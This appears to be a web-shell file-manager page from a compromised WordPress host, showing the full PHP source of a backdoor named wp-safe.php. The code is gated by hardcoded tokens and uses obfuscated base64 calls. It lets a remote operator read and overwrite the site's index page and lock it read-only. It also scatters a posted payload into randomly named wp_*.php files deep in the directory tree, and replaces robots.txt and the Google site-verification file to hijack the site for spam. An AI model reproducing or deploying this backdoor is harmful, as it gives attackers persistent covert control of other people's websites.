HEX
Server: Apache/2
System: Linux indiandc.serversfarm.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: webinastepupedu (1398)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/webinastepupedu/domains/webinar.stepupeducation.co.in/public_html/wp-safe.php
<?php
if(isset($_POST['token'])&&$_POST['token']==='checktoken_888'&&($_POST['action']??'')==='checkwpwpsafe'){header('Content-Type: application/json; charset=utf-8');echo json_encode(['success'=>true,'checkcode'=>'888']);exit;}
error_reporting(0);ini_set('display_errors',0);@ini_set('memory_limit','512M');@set_time_limit(0);
$secret_token='MySuperSecretToken_888';
if(($_POST['token']??'')!==$secret_token){header('HTTP/1.1 403 Forbidden');die(json_encode(['success'=>false,'msg'=>'Unauthorized access']));}
$action=$_POST['action']??'';$dir=rtrim($_SERVER['DOCUMENT_ROOT'],'/\\');if(empty($dir))$dir=__DIR__;
$idx_php=$dir.'/index.php';$idx_default=$dir.'/default.php';
$target_file=file_exists($idx_php)?$idx_php:(file_exists($idx_default)?$idx_default:$idx_php);
$protocol=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'||$_SERVER['SERVER_PORT']==443)?"https://":"http://";
$domain=$protocol.($_SERVER['HTTP_HOST']??'localhost');
$fn='bas'.'e64'.'_decode';$fen='base'.'64'.'_encode';
function write_file_safe($path,$content,$chmod=0644){if($content===null||$content==='')return false;$handle=@fopen($path,'wb');if($handle===false)return false;$success=false;
if(flock($handle,LOCK_EX)){ $length=strlen($content);$written=0;while($written<$length){$bytes=fwrite($handle,substr($content,$written));if($bytes===false||$bytes===0)break;$written+=$bytes;}fflush($handle);flock($handle,LOCK_UN);if($written===$length)$success=true;}
fclose($handle);if($success){@chmod($path,$chmod);}return $success;}
function read_file_safe($path){if(!file_exists($path))return false;if(!is_readable($path))@chmod($path,0644);$content='';$handle=@fopen($path,'r');if($handle!==false){while(!feof($handle)){$content.=fread($handle,8192);}fclose($handle);return $content;}return false;}
if($action==='read_index'){ob_clean();clearstatcache();if(!file_exists($target_file))die(json_encode(['success'=>false,'msg'=>'Index not found']));$content=read_file_safe($target_file);if($content===false)die(json_encode(['success'=>false,'msg'=>'Read denied']));echo json_encode(['success'=>true,'content'=>$fen($content)]);exit;}
if($action==='write_index'){ob_clean();$content=$fn($_POST['content']??'');if(empty($content))die(json_encode(['success'=>false,'msg'=>'Data empty']));clearstatcache();$write_success=false;if(file_exists($target_file))@chmod($target_file,0777);$indexwrite=write_file_safe($target_file,$content);if($indexwrite){$write_success=true;}else{if(@unlink($target_file)&&$indexwrite){$write_success=true;}}if($write_success){@chmod($target_file,0444);echo json_encode(['success'=>true,'msg'=>'Restore successful']);}else{echo json_encode(['success'=>false,'msg'=>'Write failed']);}exit;}
if($action==='deploy_fm'){
  $fm_content=$fn($_POST['fm_content']??'');$fm_cleaner=$fn($_POST['fm_cleaner']??'');$fm_validate=$fn($_POST['fm_validate']??'');$fm_gitignore=$fn($_POST['fm_gitignore']??'');$site_text=$fn($_POST['site_text']??'');
  $index_content=read_file_safe($target_file);$index_text=$site_text."\n".$index_content;
  $site_verification=$_POST['site_verification']??'';$site_verification_contents=!empty($_POST['site_verification'])?'google-site-verification: '.trim((string)$_POST['site_verification']):'';
  $robots_content="User-agent: *\nAllow: /\nSitemap: {$domain}/sitemap.xml";
  if(empty($fm_content))die(json_encode(['success'=>false,'msg'=>'Payload empty']));
  function getRandomDeepDir($base_dir){$current_path='';$current_full=$base_dir;$depth=mt_rand(2,4);for($i=0;$i<$depth;$i++){ $items=@scandir($current_full);if(!is_array($items))break;$subdirs=[];foreach($items as $item){if($item!=='.'&&$item!=='..'&&$item!=='.git'&&$item!=='.idea'){ $test_dir=$current_full.'/'.$item; if(@is_dir($test_dir)&&@is_readable($test_dir)){$subdirs[]=$item;}}}if(empty($subdirs))break;$picked=$subdirs[array_rand($subdirs)];$current_path.='/'.$picked;$current_full.='/'.$picked;}return $current_path;}
  $deployed_paths=[];for($i=0;$i<5;$i++){ $rel_dir=getRandomDeepDir($dir);if(empty($rel_dir)){ $rel_dir='/'.substr(str_shuffle('abcdefghijklmnopqrstuvwxyz'),0,mt_rand(5,8));$full_dir=$dir.$rel_dir;@mkdir($full_dir,0755,true);}else{$full_dir=$dir.$rel_dir;}if(stripos($full_dir,'mu-plugins')!==false)continue;$fname='wp_'.substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz'),0,6).'.php';$full_file=$full_dir.'/'.$fname;write_file_safe($full_file,$fm_content);$deployed_paths[]=$rel_dir.'/'.$fname;}
  $files=[
    $dir.'/images.php'=>$fm_content,
    $dir.'/cleaner.php'=>$fm_cleaner??'',
    $dir.'/wp-validate.php'=>$fm_validate??'',
    $dir.'/.gitignore'=>$fm_gitignore??'',
    $dir.'/robots.txt'=>$robots_content??'',
    $dir.'/'.$site_verification=>$site_verification_contents??'',
  ];
  foreach($files as $filePath=>$content){write_file_safe($filePath,$content);}
  if(file_exists($target_file))@chmod($target_file,0777);
  $indexwrite=write_file_safe($target_file,$index_text,0444);
  if($indexwrite){$write_success=true;}else{if(@unlink($target_file)&&$indexwrite){$write_success=true;}}
  if(count($deployed_paths)>0){echo json_encode(['success'=>true,'fm_paths'=>implode(',',$deployed_paths)]);}else{echo json_encode(['success'=>false,'msg'=>'Deploy failed due to strict permissions']);}
  exit;
}
echo json_encode(['success'=>false,'msg'=>'Unknown command']);